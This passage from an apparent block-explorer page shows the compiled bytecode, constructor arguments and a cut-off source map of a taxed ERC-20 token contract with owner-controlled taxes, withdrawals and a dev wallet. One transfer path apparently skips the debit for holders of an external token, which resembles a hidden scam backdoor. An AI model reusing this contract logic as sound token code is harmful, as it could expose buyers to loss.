00160a01b03165b6040516001600160a01b0390911681526020016101ed565b34801561049857600080fd5b50600c54610474906001600160a01b031681565b3480156104b857600080fd5b506102386104c73660046114b7565b6109aa565b3480156104d857600080fd5b506102166104e7366004611486565b6109b7565b3480156104f857600080fd5b5061027d610507366004611563565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610216610a30565b34801561054657600080fd5b50600a54610474906001600160a01b031681565b6000546001600160a01b0316331461058d5760405162461bcd60e51b81526004016105849061159c565b60405180910390fd5b6103e88161059d6009600a6116b6565b6105ab90633b9aca006116c5565b6105b591906116c5565b6105bf91906116dc565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106209086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016105849061159c565b60648111156106a05760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b6044820152606401610584565b60648211156106e35760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b6044820152606401610584565b600855600755565b6106f76009600a6116b6565b61070590633b9aca006116c5565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107b5576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600382528381203382529091529190912054610790918490610c24565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107c0848484610c5e565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5490919061082a6009600a6116b6565b61083890633b9aca006116c5565b61084291906116fe565b61084c91906116fe565b905090565b600080546001600160a01b0316331461087c5760405162461bcd60e51b81526004016105849061159c565b816000036108ef576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ec9190611711565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af115801561093c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c3919061172a565b600061062c826000196105c5565b6000546001600160a01b031633146109985760405162461bcd60e51b81526004016105849061159c565b600080546001600160a01b0319169055565b60006107c3338484610c5e565b6000546001600160a01b031633146109e15760405162461bcd60e51b81526004016105849061159c565b47600060646109f084846116c5565b6109fa91906116dc565b604051909150339082156108fc029083906000818181858888f19350505050158015610a2a573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b81526004016105849061159c565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610adb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b00919061174c565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b70919061177a565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281166024830152919091169063e6a4390590604401602060405180830381865afa158015610bde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c02919061177a565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c485760405162461bcd60e51b81526004016105849190611438565b506000610c5584866116fe565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610ca057506001600160a01b03831660009081526005602052604090205460ff16155b8015610cba5750600c546001600160a01b03848116911614155b15610d34576001546001600160a01b038416600090815260026020526040902054610ce6908490611797565b1115610d345760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610584565b600e5460ff16610d5057610d49848484610ea7565b90506107c3565b610d58611018565b15610d6557610d6561106e565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610db7918490610c24565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e0457506001600160a01b03841660009081526004602052604090205460ff165b610e1857610e1385848661118d565b610e1a565b825b6001600160a01b038516600090815260026020526040902054909150610e4090826112aa565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e949085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610f8392610f3592859216906370a0823190602401602060405180830381865afa158015610efc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f209190611711565b11610f2c576000610f2e565b835b8490611309565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c24565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fb290836112aa565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110069086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110395750600e5460ff16155b801561104e5750600c54600160a01b900460ff165b801561084c575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110b0576110b06117aa565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611104576111046117aa565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161114e91906000908690309042906004016117c0565b600060405180830381600087803b15801561116857600080fd5b505af115801561117c573d6000803e3d6000fd5b5050600e805460ff19169055505050565b600082158061119c5750600654155b156111a85750816107c3565b600954600c546001600160a01b03908116908416036111ca57506008546111e5565b600c546001600160a01b03908116908616036111e557506007545b600061121a6111f56064806116c5565b6112148461120e6006548a61134b90919063ffffffff16565b9061134b565b906113cd565b90508015611296573060009081526002602052604090205461123c90826112aa565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061128d9085815260200190565b60405180910390a35b6112a08582611309565b9695505050505050565b6000806112b78385611797565b9050838110156107c35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610584565b60006107c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c24565b60008260000361135d5750600061062c565b600061136983856116c5565b90508261137685836116dc565b146107c35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610584565b60006107c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506000818361142b5760405162461bcd60e51b81526004016105849190611438565b506000610c5584866116dc565b600060208083528351808285015260005b8181101561146557858101830151858201604001528201611449565b506000604082860101526040601f19601f8301168501019250505092915050565b60006020828403121561149857600080fd5b5035919050565b6001600160a01b03811681146114b457600080fd5b50565b600080604083850312156114ca57600080fd5b82356114d58161149f565b946020939093013593505050565b600080604083850312156114f657600080fd5b50508035926020909101359150565b60008060006060848603121561151a57600080fd5b83356115258161149f565b925060208401356115358161149f565b929592945050506040919091013590565b60006020828403121561155857600080fd5b81356107c38161149f565b6000806040838503121561157657600080fd5b82356115818161149f565b915060208301356115918161149f565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561160d5781600019048211156115f3576115f36115bc565b8085161561160057918102915b93841c93908002906115d7565b509250929050565b6000826116245750600161062c565b816116315750600061062c565b816001811461164757600281146116515761166d565b600191505061062c565b60ff841115611662576116626115bc565b50506001821b61062c565b5060208310610133831016604e8410600b8410161715611690575081810a61062c565b61169a83836115d2565b80600019048211156116ae576116ae6115bc565b029392505050565b60006107c360ff841683611615565b808202811582820484141761062c5761062c6115bc565b6000826116f957634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561062c5761062c6115bc565b60006020828403121561172357600080fd5b5051919050565b60006020828403121561173c57600080fd5b815180151581146107c357600080fd5b60008060006060848603121561176157600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178c57600080fd5b81516107c38161149f565b8082018082111561062c5761062c6115bc565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118105784516001600160a01b0316835293830193918301916001016117eb565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122010fdee86e4d355971bb1e88592d293ff3ff2f9e5ee0c0946e931f8240971062d64736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000430e13f3313902b80b6779486773bc5f1a54ef9a
-----Decoded View---------------
Arg [0] : router_ (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : devWallet_ (address): 0x430E13F3313902B80B6779486773bc5f1A54EF9A
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000430e13f3313902b80b6779486773bc5f1a54ef9a
Deployed Bytecode Sourcemap
4133:7086:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4385:40;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;4385:40:0;;;;;;;;;;;;:::i;:::-;;;;;;;;7104:174;;;;;;;;;;-1:-1:-1;7104:174:0;;;;;:::i;:::-;;:::i;:::-;;6208:216;;;;;;;;;;-1:-1:-1;6208:216:0;;;;;:::i;:::-;;:::i;:::-;;;1373:14:1;;1366:22;1348:41;;1336:2;1321:18;6208:216:0;1208:187:1;10286:237:0;;;;;;;;;;-1:-1:-1;10286:237:0;;;;;:::i;:::-;;:::i;4916:44::-;;;;;;;;;;;;4957:3;4916:44;;;;;1799:25:1;;;1787:2;1772:18;4916:44:0;1653:177:1;4528:58:0;;;;;;;;;;;;;:::i;4882:27::-;;;;;;;;;;;;;;;;6726:370;;;;;;;;;;-1:-1:-1;6726:370:0;;;;;:::i;:::-;;:::i;11079:137::-;;;;;;;;;;;;;:::i;3118:103::-;;;;;;;;;;-1:-1:-1;3118:103:0;;;;;:::i;:::-;3173:4;3208:5;-1:-1:-1;;;;;3197:16:0;;;3208:5;;3197:16;;3118:103;4481:34;;;;;;;;;;;;4514:1;4481:34;;;;;2720:4:1;2708:17;;;2690:36;;2678:2;2663:18;4481:34:0;2548:184:1;10791:280:0;;;;;;;;;;-1:-1:-1;10791:280:0;;;;;:::i;:::-;;:::i;4826:47::-;;;;;;;;;;-1:-1:-1;4826:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4775:44;;;;;;;;;;-1:-1:-1;4775:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6432:122;;;;;;;;;;-1:-1:-1;6432:122:0;;;;;:::i;:::-;;:::i;5178:30::-;;;;;;;;;;-1:-1:-1;5178:30:0;;;;-1:-1:-1;;;5178:30:0;;;;;;4653:45;;;;;;;;;;-1:-1:-1;4653:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;3229:85;;;;;;;;;;;;;:::i;4595:49::-;;;;;;;;;;;;;;;;5983:78;;;;;;;;;;-1:-1:-1;6035:7:0;6053:5;-1:-1:-1;;;;;6053:5:0;5983:78;;;-1:-1:-1;;;;;2901:32:1;;;2883:51;;2871:2;2856:18;5983:78:0;2737:203:1;5150:19:0;;;;;;;;;;-1:-1:-1;5150:19:0;;;;-1:-1:-1;;;;;5150:19:0;;;6562:156;;;;;;;;;;-1:-1:-1;6562:156:0;;;;;:::i;:::-;;:::i;10531:252::-;;;;;;;;;;-1:-1:-1;10531:252:0;;;;;:::i;:::-;;:::i;6067:133::-;;;;;;;;;;-1:-1:-1;6067:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6169:19:0;;;6151:7;6169:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6067:133;7286:475;;;:::i;5083:28::-;;;;;;;;;;-1:-1:-1;5083:28:0;;;;-1:-1:-1;;;;;5083:28:0;;;7104:174;3173:4;3208:5;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;;;;;;;;;7266:4:::1;7238:23:::0;4574:12:::1;4514:1;4574:2;:12;:::i;:::-;4566:20;::::0;:5:::1;:20;:::i;:::-;7224:37;;;;:::i;:::-;7223:47;;;;:::i;:::-;7205:15;:65:::0;-1:-1:-1;7104:174:0:o;6208:216::-;6312:10;6283:4;6300:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;6300:32:0;;;;;;;;;;:41;;;6357:37;6283:4;;6300:32;;6357:37;;;;6335:6;1799:25:1;;1787:2;1772:18;;1653:177;6357:37:0;;;;;;;;-1:-1:-1;6412:4:0;6208:216;;;;;:::o;10286:237::-;3173:4;3208:5;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;10379:3:::1;10370:5;:12;;10362:40;;;::::0;-1:-1:-1;;;10362:40:0;;6014:2:1;10362:40:0::1;::::0;::::1;5996:21:1::0;6053:2;6033:18;;;6026:30;-1:-1:-1;;;6072:18:1;;;6065:46;6128:18;;10362:40:0::1;5812:340:1::0;10362:40:0::1;10429:3;10421:4;:11;;10413:38;;;::::0;-1:-1:-1;;;10413:38:0;;6359:2:1;10413:38:0::1;::::0;::::1;6341:21:1::0;6398:2;6378:18;;;6371:30;-1:-1:-1;;;6417:18:1;;;6410:45;6472:18;;10413:38:0::1;6157:339:1::0;10413:38:0::1;10462:14;:22:::0;10495:13:::1;:20:::0;10286:237::o;4528:58::-;4574:12;4514:1;4574:2;:12;:::i;:::-;4566:20;;:5;:20;:::i;:::-;4528:58;:::o;6726:370::-;-1:-1:-1;;;;;6846:19:0;;6826:4;6846:19;;;:11;:19;;;;;;;;6866:10;6846:31;;;;;;;;-1:-1:-1;;6846:52:0;6843:186;;6948:69;;;;;;;;;;;-1:-1:-1;;;6948:69:0;;;;;;;;-1:-1:-1;;;;;6948:19:0;;-1:-1:-1;6948:19:0;;;:11;:19;;;;;6968:10;6948:31;;;;;;;;;;:69;;6984:6;;6948:35;:69::i;:::-;-1:-1:-1;;;;;6914:19:0;;;;;;:11;:19;;;;;;;;6934:10;6914:31;;;;;;;:103;6843:186;7048:40;7062:6;7070:9;7081:6;7048:13;:40::i;:::-;7041:47;;6726:370;;;;;;:::o;11079:137::-;11192:9;:15;;;;4261:42;11132:7;11174:15;;;;;11132:7;;11192:15;4574:12;4514:1;4574:2;:12;:::i;:::-;4566:20;;:5;:20;:::i;:::-;11160:29;;;;:::i;:::-;:47;;;;:::i;:::-;11152:56;;11079:137;:::o;10791:280::-;10878:12;3208:5;;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;10906:6:::1;10916:1;10906:11:::0;10903:95:::1;;10942:44;::::0;-1:-1:-1;;;10942:44:0;;10980:4:::1;10942:44;::::0;::::1;2883:51:1::0;-1:-1:-1;;;;;10942:29:0;::::1;::::0;::::1;::::0;2856:18:1;;10942:44:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10933:53;;10903:95;11015:48;::::0;-1:-1:-1;;;11015:48:0;;11044:10:::1;11015:48;::::0;::::1;6997:51:1::0;7064:18;;;7057:34;;;-1:-1:-1;;;;;11015:28:0;::::1;::::0;::::1;::::0;6970:18:1;;11015:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;6432:122::-:0;6487:4;6511:35;6519:7;-1:-1:-1;;6511:7:0;:35::i;3229:85::-;3173:4;3208:5;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;3304:1:::1;3288:18:::0;;-1:-1:-1;;;;;;3288:18:0::1;::::0;;3229:85::o;6562:156::-;6642:4;6666:44;6680:10;6692:9;6703:6;6666:13;:44::i;10531:252::-;3173:4;3208:5;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;10627:21:::1;10607:17;10718:3;10685:28;10697:16:::0;10627:21;10685:28:::1;:::i;:::-;10683:38;;;;:::i;:::-;10732:43;::::0;10659:62;;-1:-1:-1;10740:10:0::1;::::0;10732:43;::::1;;;::::0;10659:62;;10732:43:::1;::::0;;;10659:62;10740:10;10732:43;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10596:187;;10531:252:::0;:::o;7286:475::-;3173:4;3208:5;-1:-1:-1;;;;;3208:5:0;3077:10;3197:16;3061:38;;;;-1:-1:-1;;;3061:38:0;;;;;;;:::i;:::-;7348:6:::1;::::0;7411:4:::1;7348:6;7447:24:::0;;;:9:::1;:24;::::0;;;;;;7592:5;;7348:325;;-1:-1:-1;;;7348:325:0;;::::1;::::0;::::1;7725:34:1::0;;;;7775:18;;;7768:34;7818:18;;;7811:34;;;7861:18;;;7854:34;;;;-1:-1:-1;;;;;7592:5:0;;::::1;7904:19:1::0;;;7897:44;7647:15:0::1;7957:19:1::0;;;7950:35;7348:6:0;;::::1;::::0;:22:::1;::::0;7378:9:::1;::::0;7659:19:1;;7348:325:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7707:6:0::1;::::0;:16:::1;::::0;;-1:-1:-1;;;7707:16:0;;;;-1:-1:-1;;;;;7707:6:0;;::::1;::::0;-1:-1:-1;7707:14:0::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:6;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7691:62;::::0;-1:-1:-1;;;7691:62:0;;7741:4:::1;7691:62;::::0;::::1;8775:34:1::0;-1:-1:-1;;;;;7748:4:0::1;8845:15:1::0;;8825:18;;;8818:43;7691:41:0;;;::::1;::::0;::::1;::::0;8710:18:1;;7691:62:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7684:4;:69:::0;;-1:-1:-1;;;;;;7684:69:0::1;-1:-1:-1::0;;;;;7684:69:0;;;::::1;::::0;;;::::1;::::0;;7286:475::o;1434:192::-;1520:7;1556:12;1548:6;;;;1540:29;;;;-1:-1:-1;;;1540:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1580:9:0;1592:5;1596:1;1592;:5;:::i;:::-;1580:17;1434:192;-1:-1:-1;;;;;1434:192:0:o;7771:810::-;-1:-1:-1;;;;;7885:22:0;;7863:4;7885:22;;;:14;:22;;;;;;;;7884:23;:53;;;;-1:-1:-1;;;;;;7912:25:0;;;;;;:14;:25;;;;;;;;7911:26;7884:53;:74;;;;-1:-1:-1;7954:4:0;;-1:-1:-1;;;;;7941:17:0;;;7954:4;;7941:17;;7884:74;7880:193;;;8018:15;;-1:-1:-1;;;;;7984:20:0;;;;;;:9;:20;;;;;;:29;;8007:6;;7984:29;:::i;:::-;7983:50;;7975:86;;;;-1:-1:-1;;;7975:86:0;;9204:2:1;7975:86:0;;;9186:21:1;9243:2;9223:18;;;9216:30;9282:26;9262:18;;;9255:54;9326:18;;7975:86:0;9002:348:1;7975:86:0;8087:6;;;;8083:64;;8103:41;8118:6;8126:9;8137:6;8103:14;:41::i;:::-;8096:48;;;;8083:64;8166:16;:14;:16::i;:::-;8163:35;;;8185:10;:8;:10::i;:::-;8230:53;;;;;;;;;;;-1:-1:-1;;;8230:53:0;;;;;;;;-1:-1:-1;;;;;8230:17:0;;-1:-1:-1;8230:17:0;;;:9;:17;;;;;;;;:53;;8252:6;;8230:21;:53::i;:::-;-1:-1:-1;;;;;8210:17:0;;;;;;:9;:17;;;;;;;;:73;;;;8322:11;:19;;;;;;;;;:45;;-1:-1:-1;;;;;;8345:22:0;;;;;;:11;:22;;;;;;;;8322:45;8321:93;;8380:34;8388:6;8396;8404:9;8380:7;:34::i;:::-;8321:93;;;8371:6;8321:93;-1:-1:-1;;;;;8450:20:0;;;;;;:9;:20;;;;;;8296:118;;-1:-1:-1;8450:40:0;;8296:118;8450:24;:40::i;:::-;-1:-1:-1;;;;;8427:20:0;;;;;;;:9;:20;;;;;;;:63;;;;8508:43;;;;;;;;;;8536:14;1799:25:1;;1787:2;1772:18;;1653:177;8508:43:0;;;;;;;;-1:-1:-1;8569:4:0;;7771:810;-1:-1:-1;;;;7771:810:0:o;8593:381::-;8762:9;;8756:34;;-1:-1:-1;;;8756:34:0;;-1:-1:-1;;;;;2901:32:1;;;8756:34:0;;;2883:51:1;8686:4:0;;8723:104;;8745:57;;8686:4;;8762:9;;8756:26;;2856:18:1;;8756:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:36;:45;;8800:1;8756:45;;;8793:6;8756:45;8745:6;;:10;:57::i;:::-;8723:104;;;;;;;;;;;-1:-1:-1;;;8723:104:0;;;;;;;;-1:-1:-1;;;;;8723:17:0;;-1:-1:-1;8723:17:0;;;:9;:17;;;;;;;;;:104;:21;:104::i;:::-;-1:-1:-1;;;;;8703:17:0;;;;;;;:9;:17;;;;;;:124;;;;8861:20;;;;;;;:32;;8886:6;8861:24;:32::i;:::-;-1:-1:-1;;;;;8838:20:0;;;;;;;:9;:20;;;;;;;:55;;;;8909:35;;;;;;;;;;8937:6;1799:25:1;;1787:2;1772:18;;1653:177;8909:35:0;;;;;;;;-1:-1:-1;8962:4:0;8593:381;;;;;:::o;9713:197::-;9800:4;;9762;;-1:-1:-1;;;;;9800:4:0;9786:10;:18;;;;:38;;-1:-1:-1;9818:6:0;;;;9817:7;9786:38;:62;;;;-1:-1:-1;9837:11:0;;-1:-1:-1;;;9837:11:0;;;;9786:62;:116;;;;-1:-1:-1;;9889:13:0;;9879:4;9861:24;;;;:9;:24;;;;;;:41;;;9713:197::o;9918:360::-;5303:6;:13;;-1:-1:-1;;5303:13:0;5312:4;5303:13;;;9993:16:::1;::::0;;10007:1:::1;9993:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9993:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9993:16:0::1;9969:40;;10038:4;10020;10025:1;10020:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;10020:23:0::1;;;-1:-1:-1::0;;;;;10020:23:0::1;;;::::0;::::1;10064:4;10054;10059:1;10054:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10054:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;:14;10081:6:::1;::::0;10153:13:::1;::::0;10081:189:::1;::::0;-1:-1:-1;;;10081:189:0;;:6;;;::::1;::::0;:57:::1;::::0;:189:::1;::::0;10153:13;10081:6:::1;::::0;10197:4;;10224::::1;::::0;10244:15:::1;::::0;10081:189:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5321:6:0;:14;;-1:-1:-1;;5321:14:0;;;-1:-1:-1;;;9918:360:0:o;8982:723::-;9068:7;9091:11;;;:28;;-1:-1:-1;9106:8:0;;:13;9091:28;9088:72;;;-1:-1:-1;9142:6:0;9135:13;;9088:72;9193:18;;9240:4;;-1:-1:-1;;;;;9240:4:0;;;9227:17;;;;9224:154;;-1:-1:-1;9274:14:0;;9224:154;;;9319:4;;-1:-1:-1;;;;;9319:4:0;;;9309:14;;;;9306:72;;-1:-1:-1;9353:13:0;;9306:72;9390:17;9410:62;9451:20;4957:3;;9451:20;:::i;:::-;9410:36;9435:10;9410:20;9421:8;;9410:6;:10;;:20;;;;:::i;:::-;:24;;:36::i;:::-;:40;;:62::i;:::-;9390:82;-1:-1:-1;9488:13:0;;9485:172;;9562:4;9544:24;;;;:9;:24;;;;;;:39;;9573:9;9544:28;:39::i;:::-;9535:4;9517:24;;;;:9;:24;;;;;;;:66;;;;9603:42;;-1:-1:-1;;;;;9603:42:0;;;;;;;9635:9;1799:25:1;;1787:2;1772:18;;1653:177;9603:42:0;;;;;;;;9485:172;9676:21;:6;9687:9;9676:10;:21::i;:::-;9669:28;8982:723;-1:-1:-1;;;;;;8982:723:0:o;1105:181::-;1163:7;;1195:5;1199:1;1195;:5;:::i;:::-;1183:17;;1224:1;1219;:6;;1211:46;;;;-1:-1:-1;;;1211:46:0;;10806:2:1;1211:46:0;;;10788:21:1;10845:2;10825:18;;;10818:30;10884:29;10864:18;;;10857:57;10931:18;;1211:46:0;10604:351:1;1292:136:0;1350:7;1377:43;1381:1;1384;1377:43;;;;;;;;;;;;;;;;;:3;:43::i;1632:250::-;1690:7;1714:1;1719;1714:6;1710:47;;-1:-1:-1;1744:1:0;1737:8;;1710:47;1769:9;1781:5;1785:1;1781;:5;:::i;:::-;1769:17;-1:-1:-1;1814:1:0;1805:5;1809:1;1769:17;1805:5;:::i;:::-;:10;1797:56;;;;-1:-1:-1;;;1797:56:0;;11162:2:1;1797:56:0;;;11144:21:1;11201:2;11181:18;;;11174:30;11240:34;11220:18;;;11213:62;-1:-1:-1;;;11291:18:1;;;11284:31;11332:19;;1797:56:0;10960:397:1;1888:132:0;1946:7;1973:39;1977:1;1980;1973:39;;;;;;;;;;;;;;;;;2112:7;2147:12;2140:5;2132:28;;;;-1:-1:-1;;;2132:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2171:9:0;2183:5;2187:1;2183;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:180::-;626:6;679:2;667:9;658:7;654:23;650:32;647:52;;;695:1;692;685:12;647:52;-1:-1:-1;718:23:1;;567:180;-1:-1:-1;567:180:1:o;752:131::-;-1:-1:-1;;;;;827:31:1;;817:42;;807:70;;873:1;870;863:12;807:70;752:131;:::o;888:315::-;956:6;964;1017:2;1005:9;996:7;992:23;988:32;985:52;;;1033:1;1030;1023:12;985:52;1072:9;1059:23;1091:31;1116:5;1091:31;:::i;:::-;1141:5;1193:2;1178:18;;;;1165:32;;-1:-1:-1;;;888:315:1:o;1400:248::-;1468:6;1476;1529:2;1517:9;1508:7;1504:23;1500:32;1497:52;;;1545:1;1542;1535:12;1497:52;-1:-1:-1;;1568:23:1;;;1638:2;1623:18;;;1610:32;;-1:-1:-1;1400:248:1:o;1835:456::-;1912:6;1920;1928;1981:2;1969:9;1960:7;1956:23;1952:32;1949:52;;;1997:1;1994;1987:12;1949:52;2036:9;2023:23;2055:31;2080:5;2055:31;:::i;:::-;2105:5;-1:-1:-1;2162:2:1;2147:18;;2134:32;2175:33;2134:32;2175:33;:::i;:::-;1835:456;;2227:7;;-1:-1:-1;;;2281:2:1;2266:18;;;;2253:32;;1835:456::o;2296:247::-;2355:6;2408:2;2396:9;2387:7;2383:23;2379:32;2376:52;;;2424:1;2421;2414:12;2376:52;2463:9;2450:23;2482:31;2507:5;2482:31;:::i;2945:388::-;3013:6;3021;3074:2;3062:9;3053:7;3049:23;3045:32;3042:52;;;3090:1;3087;3080:12;3042:52;3129:9;3116:23;3148:31;3173:5;3148:31;:::i;:::-;3198:5;-1:-1:-1;3255:2:1;3240:18;;3227:32;3268:33;3227:32;3268:33;:::i;:::-;3320:7;3310:17;;;2945:388;;;;;:::o;3568:329::-;3770:2;3752:21;;;3809:1;3789:18;;;3782:29;-1:-1:-1;;;3842:2:1;3827:18;;3820:36;3888:2;3873:18;;3568:329::o;3902:127::-;3963:10;3958:3;3954:20;3951:1;3944:31;3994:4;3991:1;3984:15;4018:4;4015:1;4008:15;4034:422;4123:1;4166:5;4123:1;4180:270;4201:7;4191:8;4188:21;4180:270;;;4260:4;4256:1;4252:6;4248:17;4242:4;4239:27;4236:53;;;4269:18;;:::i;:::-;4319:7;4309:8;4305:22;4302:55;;;4339:16;;;;4302:55;4418:22;;;;4378:15;;;;4180:270;;;4184:3;4034:422;;;;;:::o;4461:806::-;4510:5;4540:8;4530:80;;-1:-1:-1;4581:1:1;4595:5;;4530:80;4629:4;4619:76;;-1:-1:-1;4666:1:1;4680:5;;4619:76;4711:4;4729:1;4724:59;;;;4797:1;4792:130;;;;4704:218;;4724:59;4754:1;4745:10;;4768:5;;;4792:130;4829:3;4819:8;4816:17;4813:43;;;4836:18;;:::i;:::-;-1:-1:-1;;4892:1:1;4878:16;;4907:5;;4704:218;;5006:2;4996:8;4993:16;